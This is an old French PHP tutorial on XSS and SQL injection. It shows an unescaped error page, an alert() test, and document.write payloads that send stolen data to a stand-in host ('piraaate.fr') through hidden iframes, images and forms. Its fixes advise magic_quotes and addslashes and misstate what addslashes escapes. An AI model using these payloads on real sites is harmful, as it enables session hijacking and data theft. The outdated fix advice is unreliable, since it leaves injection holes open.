SecureM

Peut-être avez-vous déjà entendu parler de ces failles, peut-être pas.
Description d'une faille qui peut causer pas mal de soucis...

<?php
// En-tête des pages et autres fichiers requis
include'includes/header.inc.php';

// Récupération du message d'erreur
if(empty($_GET['erreur'])){
$message = 'Erreur inconnue ! Veuillez prévenir un administrateur';
    signalerreur('Erreur inconnue sur la page d\'erreur !');
}
else{
$message = urldecode($_GET['erreur']);
     signalerreur($_GET['erreur'] . ' pour le client '.adresse_IP());
}
echo"<h1>$message</h1>";

?>

<script>alert('Muhahahahahaha !!');</script>

• Utilisation des cookies du site en question: si le codeur a eu la mauvaise idée de créer un cookie contenant la paire login/pass, alors on pourra le lire et le sauvegarder sur un serveur auxiliaire. (voir "Envoi")
• Modification de la page courante: un petit form.action="http://piraaate.fr/capture.php" sur le formulaire de connexion ? Très intéressant.
• Execution de commandes: par l'appel d'URLs clés, par exemple http://pigeon.net/admin/newadmin.php avec pour arguments POST des données telles que nom=Pirate&passe=blopblip. Très critique, surtout que l'on usurpe la session du malheureux client, et ce qui va avec c'est-à-dire de son identification s'il est connecté !
• Affichage de alert() en folie: un grand nombre de alert() se suivant sans laisser à l'utilisateur le temps de fermer la page. Très idiot.
• Collecte d'informations à propos des utilisateurs. Très inutile.
• Vous voyez, les possibilités sont (presque) infinies !

• document.write("<iframe src='http://piraate.fr/stocke.php?donnees="+donneesrecoltees+"' style='display:none;'></iframe>")

• document.write("<img src="http://piraaate.fr/stocke.php?infos='"+donneesrecoltees+"' style='display: none;' />")

• document.write('<form action="http://piraaate.fr/stocke.php" method="get ou post"><input name="infos" value="'+donneesrecoltees+'" type="hidden" /></form>');

  avec un redirection immédiate sur la page de départ après le stockage
• Et plein d'autres encore (je n'ai pas parlé du XHTTPREQUEST...)

• htmlspecialchars() qui convertit les tags, & ' et " si j'ai bon souvenir.
• htmlentities() qui convertit en plus les accents en entités HTML (plus de problèmes d'encodage !).
• strip_tags() qui supprime les tags HTML ou PHP.

Corriger les failles SQL, c'est assez simple.

• Il suffit généralement d'appliquer la fonction addslashes() de php à tous les champs qui arrivent dans la requête.

<?php
$pseudo = addslashes($_POST['pseudo']);
$passe = addslashes($_POST['passe']);
mysql_query("SELECT `mess_bienvenue` FROM `utilisateurs`
               WHERE `pseudo`='$pseudo' AND `passe`='$passe'",$link);
?>

Cependant cette fonction a ses limites, elle n'échappe que les guillemets simples et doubles, mais ni les anti-slash, ni les caractères NULL.

• Il existe une autre manière, beaucoup plus simple à mettre en oeuvre, mais qui va disparaître avec PHP 6, il s'agit d'activer les guillemets magiques dans la configuration (fichier php.ini).

Cela échappe les caractères interdits ( sauf % et _ ) et c'est une solution que j'aime bien, elle est activée sur mon hébergeur.

• Il existe cependant une autre méthode : l'utilisation de la fonction mysql_real_escape_string(). Avec un bon script, on peut pleinement l'exploiter :

<?php

// Annule les effets magic_quotes_gpc/magic_quotes_sybase sur ces variables si ON.

if(get_magic_quotes_gpc()) {
    $product_name        = stripslashes($_POST['product_name']);
    $product_description = stripslashes($_POST['product_description']);
} else {
    $product_name        = $_POST['product_name'];
    $product_description = $_POST['product_description'];
}

// Faire une requête sécurisée
$query = sprintf("INSERT INTO products (`name`, `description`, `user_id`)
                           VALUES ('%s', '%s', %d)",
mysql_real_escape_string($product_name,$link),
mysql_real_escape_string($product_description,$link),
$_POST['user_id']);

mysql_query($query,$link);

if(mysql_affected_rows($link) > 0) {
    echo"Produit inséré
";
}
?>

Mais à ce moment ça se complique un peu. ;)

Vous avez donc le choix entre la fonction addslashes, l'activation des magic-quotes, ou ce que je vous recommande: la fonction mysql_real_escape_string